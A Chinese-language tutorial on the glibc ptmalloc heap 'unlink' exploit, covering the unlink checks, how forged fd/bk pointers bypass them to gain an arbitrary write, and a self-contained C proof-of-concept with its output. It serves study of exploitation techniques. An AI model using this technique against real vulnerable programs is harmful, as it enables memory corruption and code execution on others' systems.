ptmalloc heap unlink exploit

1 概述

Heap unlink exploit 

前提是要对ptmalloc堆有一定的了解。

2 Unlink宏

Unlink：用来将一个双向 bin 链表中的一个 chunk 取出来

参数：

AV：arena header(malloc_state)

P ：将要unlink的chunk

BK：P后面的chunk    <--

FD：P前面的chunk    -->

具体过程如下：

将chunk从FD/BK链表中摘除；

如果是large chunk，则将chunk从fd_nextsize/bk_nextsize链表中摘除

 

安全检查

对于samll chunk，只有前两项检查；

对于large chunk，还有第三项检查；

检查项	说明
corrupted size vs. prev_size	Chunk size是否一致 Glibc-2.26开始增加此检查；   对于free chunk,有两个地方存放了chunk的大小： 一个是本chunk的size字段； 一个是nextchunk的prev_size字段；
corrupted double-linked list	链表指针是否一致 什么时候增加的此检查？   检查这两个条件： P->fd->bk == P P->bk->fd == P
corrupted double-linked list  (not small)	Large chunk链表是否一致   检查这两个条件： P->fd_nextsize->bk_nextsize == P P->bk_nextsize->fd_nextsize == P

 

Glibc-2.26中的相关代码如下：

 

 3 classic unlink exploit

1. Unlink主要的操作是将chunk P从FD/BK链表中删除：

FD = P->fd;               

BK = P->bk;               

FD->bk = BK;              

BK->fd = FD;              

 更简单的描述，就是执行下面两条语句：

P->fd->bk = P->bk

P->bk->fd = P->fd

 最初的时候，没有安全检查；

 2. 溢出修改Chunk P

设置P->fd = A

设置P->bk = B

3. unlink P时会这样执行：

设置*(A+3*U) = B

设置*(B+2*U) = A

其中U = sizeof(void*)

4. 可以通过 unlink 实现任意地址写

A和B都是用户控制的地址

A+3*U的位置写入了B

B+2*U的位置写入了A

这里隐含的条件是A+3*P和B+2*P必须是可写的地址；

而且一次会修改两个位置，这意味着如果只想修改一个地方的话，会有副作用。

5. 应用场景：

改写got表项，最终造成任意代码执行

4 当前的unlink

1. Unlink的安全检查

对于small chunk，unlink有两个安全检查需要绕过：

l 大小检查

chunksize(P) == prev_size (next_chunk(P))

l FD/BK链表检查：

P->fd->bk == P

P->bk->fd == P

 

2. 绕过安全检查

假设溢出时这样修改Chunk P

设置P->fd = A

设置P->bk = B

则unlink P时，FD/BK链表检查要求：

*(A+3*U) == P //找到一个地址，+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址，+2*U的地方存储的是P

 

3. 产生的结果

如果绕过了这个检查，则会产生这样的效果：

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

5 unlink exploit实例

本实例来自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

测试环境为Ubuntu 16.04

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

struct chunk_structure {

size_t prev_size;

size_t size;

struct chunk_structure *fd;

struct chunk_structure *bk;

char buf[ 10]; // padding

};

int main() {

unsigned long long *chunk1, *chunk2;

struct chunk_structure *fake_chunk, *chunk2_hdr;

char data[ 20];

// First grab two chunks (non fast)

chunk1 = malloc( 0x80);

chunk2 = malloc( 0x80);

printf( "%p \n ", &chunk1);

printf( "%p \n ", chunk1);

printf( "%p \n ", chunk2);

// Assuming attacker has control over chunk1's contents

// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1

// Need to setup fd and bk pointers to pass the unlink security check

fake_chunk = ( struct chunk_structure *)chunk1;

fake_chunk-> fd = ( struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

fake_chunk-> bk = ( struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks

chunk2_hdr = ( struct chunk_structure *)(chunk2 - 2);

chunk2_hdr-> prev_size = 0x80; // chunk1's data region size

chunk2_hdr-> size &= ~ 1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'

// This results in chunk1 pointer pointing to chunk1 - 3

// i.e. chunk1[3] now contains chunk1 itself.

// We then make chunk1 point to some victim's data

free(chunk2);

printf( "%p \n ", chunk1);

printf( "%x \n ", chunk1[ 3]);

chunk1[ 3] = ( unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1

chunk1[ 0] = 0x002164656b636168LL;

printf( "%s \n ", data);

return 0;

}

【程序说明】

Ø 首先分配了两个small chunk(chunk1 和chunk2)，大小为0x80；

Ø 这里假设攻击者可以控制chunk1的内容（通过不安全的函数如strcpy等）；

程序在chunk1的数据部分创建了一个假的chunk，绕过了FD/BK链表检查：

 

unsigned long long *chunk1;

struct chunk_structure *fake_chunk;

fake_chunk = (struct chunk_structure *)chunk1;

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);

// Ensures P->fd->bk == P

fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);

// Ensures P->bk->fd == P

 

chunk1指针本身位于栈中。

因此，我们找到了一个地址(&chunk1)，存放的是chunk1；

为了满足FD/BK链表条件：

*(A+3*U) == P //找到一个地址，+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址，+2*U的地方存储的是P

 

A(FD)和B(BK)可以这样设置：

A=&chunk1-3*U

B=&chunk1-2*U

Ø 溢出修改chunk2的头部，设置prev_size字段，清除size字段的prev_in_use比特。这可以确保chunk2被释放时，fake chunk被检测到已经被释放（freed），将被unlink；

Ø 内存布局如下图

 

Ø free(chunk2);

释放chunk2时，会和低地址的fake chunk合并，合并之前，攻击者的fake chunk会被unlink。

 

unlink会执行以下操作：

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

 

在这里的效果，就是：

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指针现在被修改为了&chunk1-3*U了

Chunk1[3] == chunk1 == &chunk1-3*U

内存分布如下：

 

Ø 攻击验证

现在我们修改chunk1[3]的值，就可以修改chunk1指针

这里将chunk1修改为data，修改chunk1的值就是修改data的值

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1

chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

 

Ø 测试结果

millionsky@ubuntu-16:~/tmp/unlink$ ./a.out 0x7ffe9f7bce40 &chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60 0x13bb010 0x13bb0a0 0x7ffe9f7bce28 0x7ffe9f7bce28 hacked!

6 附件

7 结论

1. Unlink 的fd/bk链表检查

P->fd->bk = P->bk

P->bk->fd = P->fd

 

2. Unlink exploit

假设溢出时这样修改Chunk P

设置P->fd = A

设置P->bk = B

则unlink P时，FD/BK链表检查要求：

*(A+3*U) == P //找到一个地址，+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址，+2*U的地方存储的是P

 

如果绕过了这个检查，则会产生这样的效果：

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

 

3. 一个unlink exploit实例

//待unlink的chunk地址存储在栈上

unsigned long long *chunk1;

 

因此，我们找到了一个栈地址（&chunk1），存放的是chunk1

A(FD)和B(BK)这样设置，可以绕过FD/BK链表检查：

A=&chunk1-3*U

B=&chunk1-2*U

unlink chunk1后：

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指针现在被修改为了&chunk1-3*U了

Chunk1[3] == chunk1 == &chunk1-3*U

8 参考文章

1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

2. https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/